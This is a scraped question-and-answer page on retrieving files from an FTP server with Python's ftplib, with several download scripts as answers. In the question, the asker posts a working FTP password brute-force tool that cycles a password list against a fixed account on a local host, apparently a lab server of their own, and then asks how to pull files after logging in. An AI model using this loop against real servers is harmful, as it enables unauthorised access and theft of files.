Retrieve file/s from FTP using Python connection

33,626

Solution 1

ok so after much trial and error i found how to do it. - this script will take every file in the chosen directory - didn't figure out how to take all of the files from all of the sub directories as well, but this is more than good enough - will leave here for future people to see.

from ftplib import FTP
import os # allows me to use os.chdir

port=21
ip="192.168.1.108"
password='123'

os.chdir("c:/Users/USER/Desktop/new") #changes the active dir - this is where downloaded files will be saved to
ftp = FTP("192.168.1.108")
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()

directory ="/home/FTP" #dir i want to download files from, can be changed or left for user input
filematch = '*.*' # a match for any file in this case, can be changed or left for user to input

ftp.cwd(directory)

for filename in ftp.nlst(filematch): # Loop - looking for matching files
    fhandle = open(filename, 'wb')
    print 'Getting ' + filename #for confort sake, shows the file that's being retrieved
    ftp.retrbinary('RETR ' + filename, fhandle.write)
    fhandle.close()

and as proof, this is the output received from above code:

File List:
drwxr-xr-x    2 0        0            4096 Jan 17 19:15 Folder
drwxr-xr-x    2 0        0            4096 Jan 17 19:12 Folder2
drwxr-xr-x    2 0        0            4096 Jan 17 19:16 Folder3
-rw-r--r--    1 0        0               0 Jan 17 21:42 blat.txt
-rw-r--r--    1 0        0             565 Jan 17 19:10 try.py
Getting blat.txt
Getting try.py 

Solution 2

First you need to understand the ftp protocol before doing some serious stuff. As an example you can do something like this:

from ftplib import FTP

port=21
ip="127.0.0.1"
password = "[email protected]"
user = "Anonymous"

ftp = FTP(ip)
ftp.login(user,password)

files = ftp.nlst()

for i,v in enumerate(files,1):
    print i,"->",v

i = int(raw_input("Type a number for download or type 0 for all\n"))

def f(s):
    #save the chuck of data in s
    print s

def download(j):
    print "downloading=>",files[j]
    ftp.retrbinary("RETR " + files[j],f)
    #or ftp.retrlines("RETR " + files[j],f) for ascii files

if i==0:
    for j in range(len(files)):
        download(j)
elif i>0 and i<=len(files):
    download(i-1)

Solution 3

Try this :

import argparse
import os
from ftplib import FTP

def parse_args():
    ''' parse and check command line arguments '''
    ap = argparse.ArgumentParser(description="FTP Utility")
    ap.add_argument('-hh', dest='host', help="Host name")
    ap.add_argument('-u', dest='uname', help="user name")
    ap.add_argument('-p', dest='pwd', help="user password")
    ap.add_argument('-rd', dest='remote_dir', help="Path to remote directory")
    ap.add_argument('-ld', dest='local_dir', help="Path to local directory")
    ap.add_argument(dest='files', help="File names", nargs='+')
    return ap.parse_args()

def is_empty(file):
    file_size=os.stat(file).st_size
    if file_size == 0:
        print "The file {} is empty".format(file)
        return True
    return False

args=parse_args()

host_name=args.host
user_name=args.uname
user_pwd=args.pwd
remote_dir=args.remote_dir
local_dir=args.local_dir
files=args.files

ftp=FTP(host_name)
ftp.login(user_name, user_pwd)
ftp.cwd(remote_dir)

for file in files:
    try:
        local_filename = os.path.join(local_dir, file)
        print "Getting filename "+file
        ftp.retrbinary('RETR %s' % file, open(local_filename, 'wb').write)
        print "Saving at %s" % local_filename
    except Exception, err:
        print err
        if (is_empty(local_filename)):
            os.remove(local_filename)
        continue

ftp.quit()

I've been using this for a quite a while now. If you are regularly FTPing from one machine, just hard code the values for host_name, user_name, etc,.

Share:
33,626
Giladiald
Author by

Giladiald

Updated on March 02, 2020

Comments

  • Giladiald
    Giladiald about 4 years

    i built this simple tool to brute force and connect to the ftp server

    import socket
    import ftplib
    from ftplib import FTP
    
    port=21
    ip="192.168.1.108"
    file1="passwords"
    
    try:
        s=socket.socket()
        s.connect((ip,port))
        print "port",port,"is open"
        moshe=open(file1,'r')
        for line in moshe.readlines():
            password=line.strip("\n")
            print password
            try:
                ftp = ftplib.FTP(ip)
                ftp.login("NINJA",password)
                print ("THE PASSWORD IS:",password)
                break
            except ftplib.error_perm:
                print "Incorrect"
        moshe.close()
    except:
        print "port",port,"is closed"
    
    
    ftp = FTP(ip)
    ftp.login('NINJA',password)
    print "File List:"
    files = ftp.dir()
    

    currently the tool works (i planted the right password 3rd on the file list) - when i log in i get this output:

    port 21 is open
    123
    ('THE PASSWORD IS:', '123')
    File List:
    drwxr-xr-x    2 0        0            4096 Jan 17 19:15 Folder
    drwxr-xr-x    2 0        0            4096 Jan 17 19:12 Folder2
    drwxr-xr-x    2 0        0            4096 Jan 17 19:16 Folder3
    -rw-r--r--    1 0        0               0 Jan 17 21:42 blat.txt
    -rw-r--r--    1 0        0             565 Jan 17 19:10 try.py
    

    from here, what i want is to allow the user (me) to retrieve files either 1 specific file or all of them - but i do not know what is the simplest way to go about this

    the choice itself of 1 or all, i can do, (press 1 to copy all ->) but the command itself to copy all or just one, and if one then based on what im not sure how to do.

    EDIT: adding what Xendrm suggested to the code yealds this:

    Type a number for download or type 0 for all
    0
    downloading=> Folder
    Traceback (most recent call last):
      File "/home/USER/aPython scripts/BRUT FTP.py", line 49, in <module>
        download(j)
      File "/home/USER/aPython scripts/BRUT FTP.py", line 44, in download
        ftp.retrbinary("RETR " + files[j],f)
      File "/usr/lib/python2.7/ftplib.py", line 406, in retrbinary
        conn = self.transfercmd(cmd, rest)
      File "/usr/lib/python2.7/ftplib.py", line 368, in transfercmd
        return self.ntransfercmd(cmd, rest)[0]
      File "/usr/lib/python2.7/ftplib.py", line 331, in ntransfercmd
        resp = self.sendcmd(cmd)
      File "/usr/lib/python2.7/ftplib.py", line 244, in sendcmd
        return self.getresp()
      File "/usr/lib/python2.7/ftplib.py", line 219, in getresp
        raise error_perm, resp
    error_perm: 550 Failed to open file.
    
  • Giladiald
    Giladiald over 10 years
    when i try that i get multiple errors after the 0/# input, either way no matter what i input i get multiple errors, will update Original Post any second
  • Jiraheta
    Jiraheta about 7 years
    It didn't work for me... not sure if I replace the values correctly. Was I supposed to change the values of dest in the parse_arg, right? thanks for your help
  • Vadim
    Vadim over 6 years
    what about hidden files ? if I want delete hidden files, how i can take it full name ? the ftp.retrlines("LIST -a") command only show it
  • Jeanpierre Rivas
    Jeanpierre Rivas almost 5 years
    Thank you for this important contribution, you helped me a lot with your answer.